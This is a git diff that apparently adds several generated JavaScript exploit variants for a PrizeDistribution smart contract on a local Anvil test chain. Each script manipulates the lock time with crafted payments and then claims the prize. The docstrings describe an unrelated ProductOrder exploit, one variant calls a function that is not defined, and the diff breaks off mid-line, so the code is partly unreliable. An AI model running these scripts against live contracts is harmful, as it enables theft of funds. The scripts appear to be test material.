should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-21.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-21.js new file mode 100644 index 00000000..0e8e73c0 --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-21.js @@ -0,0 +1,157 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + +let BONUS_THRESHOLD = 10; + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting strategic small-large manipulation..."); + + // Step 1: Incrementally extend the lock time with minimal amounts + for (let i = 0; i < 6; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, // Sending the minimal amount (1 wei) + gas: 300000 + }); + + console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(200); // Short delay between calls to create slight time differences + } + + // Step 2: Send a series of small amounts just above the threshold to trigger minimal bonus periods + for (let i = 0; i < 3; i++) { + let smallTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD + 1, // Just above the threshold + gas: 300000 + }); + + console.log(`Small extension ${i+1} sent, tx status: ${smallTx.status}`); + await sleep(300); // Short delay between calls to create slight time differences + } + + // Step 3: Send a series of significant amounts to extend the lock time significantly + for (let i = 0; i < 3; i++) { + let significantTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD * 2, // Significant amount + gas: 300000 + }); + + console.log(`Significant extension ${i+1} sent, tx status: ${significantTx.status}`); + await sleep(300); // Short delay between calls to create slight time differences + } + + // Step 4: Send a large amount to further extend the lock time and increase the prize + let largeExtendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD * 5, // Sending a large amount to trigger significant lock time extension + gas: 300000 + }); + + console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); + await sleep(500); + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Step 5: Wait until just after the unlock time to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-22.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-22.js new file mode 100644 index 00000000..193f5478 --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-22.js @@ -0,0 +1,167 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + +let BONUS_THRESHOLD = 10; + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting precise timing and value manipulation..."); + + // Step 1: Incrementally extend the lock time with minimal amounts + for (let i = 0; i < 7; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, // Sending the minimal amount (1 wei) + gas: 300000 + }); + + console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(200); // Short delay between calls to create slight time differences + } + + // Step 2: Send amounts just below the threshold to avoid triggering bonuses + for (let i = 0; i < 4; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD - 1, // Just below the threshold + gas: 300000 + }); + + console.log(`Just below threshold extension ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(300); // Short delay between calls to create slight time differences + } + + // Step 3: Alternate between minimal and medium amounts + for (let i = 0; i < 3; i++) { + // Send minimal amount + let minimalTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, // Sending the minimal amount (1 wei) + gas: 300000 + }); + + console.log(`Minimal extension ${i+1} sent, tx status: ${minimalTx.status}`); + await sleep(200); // Short delay between calls + + // Send medium amount + let mediumTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD / 2, // Medium amount + gas: 300000 + }); + + console.log(`Medium extension ${i+1} sent, tx status: ${mediumTx.status}`); + await sleep(300); // Short delay between calls + } + + // Step 4: Send a large amount to significantly extend the lock time and increase the prize + let largeExtendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD * 3, // Sending a large amount to trigger significant lock time extension + gas: 300000 + }); + + console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); + await sleep(500); + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Step 5: Wait until just after the unlock time to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-23.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-23.js new file mode 100644 index 00000000..5d87d3bf --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-23.js @@ -0,0 +1,157 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + +let BONUS_THRESHOLD = 10; + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting staggered medium values manipulation..."); + + // Step 1: Incrementally extend the lock time with minimal amounts + for (let i = 0; i < 6; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, // Sending the minimal amount (1 wei) + gas: 300000 + }); + + console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(200); // Short delay between calls to create slight time differences + } + + // Step 2: Send amounts just above the threshold to trigger minimal bonus periods + for (let i = 0; i < 4; i++) { + let thresholdTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD + 1, // Just above the threshold + gas: 300000 + }); + + console.log(`Threshold extension ${i+1} sent, tx status: ${thresholdTx.status}`); + await sleep(300); // Short delay between calls to create slight time differences + } + + // Step 3: Send staggered medium amounts + for (let i = 0; i < 3; i++) { + let mediumTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD / 2, // Medium amount + gas: 300000 + }); + + console.log(`Medium extension ${i+1} sent, tx status: ${mediumTx.status}`); + await sleep(400); // Short delay between calls to create slight time differences + } + + // Step 4: Send a large amount to further extend the lock time and increase the prize + let largeExtendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD * 4, // Sending a large amount to trigger significant lock time extension + gas: 300000 + }); + + console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); + await sleep(500); + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Step 5: Wait until just after the unlock time to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-24.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-24.js new file mode 100644 index 00000000..f18594ed --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-24.js @@ -0,0 +1,168 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + +let BONUS_THRESHOLD = 10; + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting combination manipulation..."); + + // Step 1: Incrementally extend the lock time with minimal amounts + for (let i = 0; i < 8; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, // Sending the minimal amount (1 wei) + gas: 300000 + }); + + console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(200); // Short delay between calls to create slight time differences + } + + // Step 2: Send amounts just below the threshold to avoid triggering bonuses + for (let i = 0; i < 4; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD - 1, // Just below the threshold + gas: 300000 + }); + + console.log(`Just below threshold extension ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(300); // Short delay between calls to create slight time differences + } + + // Step 3: Mix minimal and significant amounts to create confusion + for (let i = 0; i < 3; i++) { + // Send minimal amount + let minimalTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, // Sending the minimal amount (1 wei) + gas: 300000 + }); + + console.log(`Minimal extension ${i+1} sent, tx status: ${minimalTx.status}`); + await sleep(200); // Short delay between calls + + // Send significant amount + let significantTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD * 2, // Significant amount + gas: 300000 + }); + + console.log(`Significant extension ${i+1} sent, tx status: ${significantTx.status}`); + await sleep(300); // Short delay between calls + } + + // Step 4: Send a final large amount to extend the lock time significantly and increase the prize + let largeExtendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD * 5, // Sending a large amount to trigger significant lock time extension + gas: 300000 + }); + + console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); + await sleep(500); + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Step 5: Wait until just after the unlock time to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-25.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-25.js new file mode 100644 index 00000000..9cd95a21 --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-25.js @@ -0,0 +1,155 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + +let BONUS_THRESHOLD = 10; + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploitRapidAndStrategic(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting rapid and strategic manipulation..."); + + // Step 1: Rapidly send minimal amounts to extend the lock time incrementally + for (let i = 0; i < 10; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: 1, // Sending the minimal amount (1 wei) + gas: 300000 + }); + + console.log(`Minimal increment ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(100); // Very short delay between calls to create slight time differences + } + + // Step 2: Send amounts just below the threshold to avoid triggering bonuses + for (let i = 0; i < 5; i++) { + let extendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD - 1, // Just below the threshold + gas: 300000 + }); + + console.log(`Just below threshold extension ${i+1} sent, tx status: ${extendTx.status}`); + await sleep(200); // Short delay between calls to create slight time differences + } + + // Step 3: Send strategic larger amounts to extend the lock time significantly + for (let i = 0; i < 3; i++) { + let strategicTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD * 2, // Larger amount + gas: 300000 + }); + + console.log(`Strategic extension ${i+1} sent, tx status: ${strategicTx.status}`); + await sleep(300); // Short delay between calls to create slight time differences + } + + // Step 4: Send a final large amount to extend the lock time significantly and increase the prize + let largeExtendTx = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD * 4, // Sending a large amount to trigger significant lock time extension + gas: 300000 + }); + + console.log(`Large increment sent, tx status: ${largeExtendTx.status}`); + await sleep(500); + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Step 5: Wait until just after the unlock time to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-3.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-3.js new file mode 100644 index 00000000..7a038c46 --- /dev/null +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-3.js @@ -0,0 +1,132 @@ +require('module-alias/register'); +const fs = require('fs'); +const path = require('path'); +const assert = require('assert'); +const chalk = require('chalk'); +const { + extractSolcVersion, + compileWithVersion, + deployContract +} = require('@lib/web3/deploy'); + +const { setTimeout } = require('timers'); +const { sleep } = require('@lib/os/process'); +const { createLoggerWeb3 } = require('@lib/web3/deploy'); + +// It seems module alias does not work with js path, so, we will resort to the dirty approach. +const projectRoot = path.resolve(__dirname, '..', '..', '..'); +const contractsDir = path.join(projectRoot, './contracts'); +const contractFileFullName = 'PrizeDistribution.sol'; +let source = fs.readFileSync(path.join(contractsDir, 'src', 'regular', contractFileFullName), 'utf8'); +let solcVersion = extractSolcVersion(source); + +let BONUS_THRESHOLD = 10; + +/** + * Attempts to exploit a vulnerability in the ProductOrder smart contract. + * + * The exploit involves applying a discount just before the discountEndTime, + * waiting for a few seconds, then making a transaction to pay for the order + * at the discounted price, and finally confirming the order. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. + * @throws {Error} If there's an error during the exploit process. + */ +async function exploit(web3, envInfo, contractAddress) { + try { + let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); + let contractInstance = await new web3.eth.Contract(abi, contractAddress); + let organizerAccount = envInfo.accounts[0]; + let beneficiaryAccount = envInfo.accounts[1]; + + console.log("Starting to manipulate the unlock time..."); + + // Manipulate the unlock time by alternating between minimal and threshold amounts + for (let i = 0; i < 5; i++) { + // First, send just below the threshold to avoid triggering the bonus period + let extendTx1 = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD - 1, // Sending just below the threshold amount + gas: 300000 + }); + console.log(`Manipulation ${i+1}-1 sent, tx status: ${extendTx1.status}`); + await sleep(500); // Short delay between calls + + // Then, send exactly the threshold amount to trigger a minimal bonus period + let extendTx2 = await contractInstance.methods.extendLockTime().send({ + from: organizerAccount, + value: BONUS_THRESHOLD, // Sending exactly the threshold amount + gas: 300000 + }); + console.log(`Manipulation ${i+1}-2 sent, tx status: ${extendTx2.status}`); + await sleep(500); // Short delay between calls + } + + let unlockTime = await contractInstance.methods.unlockTime().call(); + console.log("Final unlock time:", unlockTime); + await sleep(500); + + let currentTime = Math.floor(Date.now() / 1000); + console.log("Current system time:", currentTime); + + // Wait until just after the unlockTime to try claiming the prize + if (currentTime < unlockTime) { + let waitTime = unlockTime - currentTime + 1; // Wait just past unlock time + console.log(`Waiting for ${waitTime} seconds until unlock time...`); + await new Promise(resolve => setTimeout(resolve, waitTime * 1000)); + await sleep(500); + } + + // Attempt to claim the prize + let claimTx = await contractInstance.methods.claimPrize().send({ + from: beneficiaryAccount, + gas: 300000 + }); + await sleep(500); + + if (claimTx.status) { + console.log("Prize successfully claimed!"); + return true; // Exploit successful + } else { + console.error("Failed to claim the prize!"); + return false; // Exploit failed + } + } catch (error) { + console.error(error.stack); + return false; + } +} + + + + + + + +/** + * Executes the exploit and checks its result + * + * This function will run the exploit and then verify if the exploit has + * yielded the predicted result. If the exploit is successful, a success + * message is displayed, otherwise an error message is shown. + * + * @param {Object} web3 - The Web3 instance. + * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. + * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. + * @throws {Error} If there's an error during the test execution. + */ +module.exports = async function runTests(web3, envInfo, contractAddress) { + // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil + + web3 = await createLoggerWeb3(web3); + // Execute the exploit + let result = await exploit(web3, envInfo, contractAddress); + + // See if exploit has yielded the predicted result (a very manual oracle!) + assert.strictEqual(result, true, "Exploit did not yield the expected result"); + logger.info(chalk.green("Exploit successful!")); + + return result; +} diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-6.js b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-4.js similarity index 50% rename from CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-6.js rename to CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-4.js index da97c7e7..35291931 100644 --- a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-6.js +++ b/CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-4.js @@ -11,15 +11,16 @@ const { const { setTimeout } = require('timers'); const { sleep } = require('@lib/os/process'); - const { createLoggerWeb3 } = require('@lib/web3/deploy'); + // It seems module alias does not 